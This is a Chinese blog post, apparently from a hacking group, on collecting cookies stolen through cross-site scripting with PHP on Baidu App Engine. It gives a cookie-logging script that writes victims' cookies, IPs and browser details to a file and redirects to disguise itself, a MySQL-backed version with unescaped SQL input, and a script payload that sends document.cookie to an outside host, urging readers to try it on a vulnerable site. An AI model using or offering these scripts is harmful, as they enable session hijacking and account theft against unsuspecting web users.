BAE中用php代码获取cookie


 原来有一个很经典的PHP获取COOKIE的代码,直接用fopen写入本地文件记录所获得的cookie。代码如下。

 

<?php

$ip = $_SERVER[‘REMOTE_ADDR’];

$referer = $_SERVER[‘HTTP_REFERER’];

$agent = $_SERVER[‘HTTP_USER_AGENT’];

$data = $_GET[c][/c];

$time = date(“Y-m-d G:i:s A”);

$text = “<br><br>”.$time.” = “.$ip.”<br><br>User Agent: “.$agent.”<br>Referer: “.$referer.”<br>Session: “.$data.”<br><br><br>”;

$file = fopen(‘cookie.txt’ , ‘a’);

fwrite($file,$text);

fclose($file);

header(“Location: http://www.google.com” );  //用header函数跳转到谷歌网站,伪装好点直接跳回XSS当前网站

?>

 

但是在SAE和BAE中,限制了使用文档函数,因此fopen()是无法在SAE和BAE使用的,那么我们就换一种思路,利用可以在其中使用的信息记录方法。

到这里我们就很自然的会想到利用数据库,将所获取的COOKIE数据存入数据库中,那到底行不行呢?我们就用BAE来尝试一下。

 

a.php中我们首先设置连接到数据库,然后用PHP中的$_GET获得cookie数据存入利用SQL语句存入数据库中。

 

<?php

/*从平台获取查询要连接的数据库名称*/

$dbname = ‘******************’;   //  *号为你本人的MYSQL数据库名,用过的人懂得啦!

 

/*从环境变量里取出数据库连接需要的参数*/

$host = getenv(‘HTTP_BAE_ENV_ADDR_SQL_IP’);

$port = getenv(‘HTTP_BAE_ENV_ADDR_SQL_PORT’);

$user = getenv(‘HTTP_BAE_ENV_AK’);

$pwd = getenv(‘HTTP_BAE_ENV_SK’);

 

/*接着调用mysql_connect()连接服务器*/

$link = @mysql_connect(“{$host}:{$port}”,$user,$pwd,true) or die (“无法连接数据库主机”);

if(!$link) {

die(“Connect Server Failed”);

}

/*连接成功后立即调用mysql_select_db()选中需要连接的数据库*/

if(!mysql_select_db($dbname,$link)) {

die(“Select Database Failed: ” . mysql_error($link));

}

 

/*至此连接已完全建立,就可对当前数据库进行相应的操作了*/

/*!!!注意,无法再通过本次连接调用mysql_select_db来切换到其它数据库了!!!*/

/* 需要再连接其它数据库,请再使用mysql_connect+mysql_select_db启动另一个连接*/

 

/**

* 接下来就可以使用其它标准php mysql函数操作进行数据库操作

*/

 

$ip = $_SERVER[‘REMOTE_ADDR’];

$referer = $_SERVER[‘HTTP_REFERER’];

$agent = $_SERVER[‘HTTP_USER_AGENT’];

$data = $_GET[c][/c];

$time = date(“Y-m-d G:i:s A”);

$sql=”insert into COOKIE (`IP`,`REFERER`,`AGENT`,`DATA`,`TIME`) values (‘$ip’,’$referer’,’$agent’,’$data’,’$time’)”;

mysql_query($sql); //数据写入数据库

 

/*显式关闭连接,非必须*/

mysql_close($link);

?>

 

OK,这个php文件构造好了,我们在到MYSQL中创建一个带有以上元素的TABLE COOKiE吧。

创建完毕后,我们在用测试代码试一试效果看行不行吧。测试代码如下:

 

<script>document.write(‘<img src=”http://h4cker.duapp.com/a.php?c=’+document.cookie+’”/>’);</script>

 

然后找一个存在XSS的网站试一下吧,我自己写了一个test.html进行测试:

 

Test.html:

 

<script>alert(document.cookie);document.write(‘<img src=”http://h4cker.duapp.com/a.php?c=’+document.cookie+’”/>’);</script>

 

用IE打开后,窗口弹出,代码执行后,让我们看看我们的COOKIE有木有出现在MYSQL数据库中呢?

发现我们的COOKIE已经穿在了亲爱的MYSQL数据库中,大功告成,最后要做的就是要写一个表格形式的showcookies.php将数据库中获得的COOKIE读并显示出来。

 

本文为YunDay安全组原创,转载请务必保留署名与链接!
《BAE中用php代码获取cookie》 by P1n9y_fly@YunDay:    
http://www.yunday.org/?p=19

发表评论

电子邮件地址不会被公开。 必填项已用*标注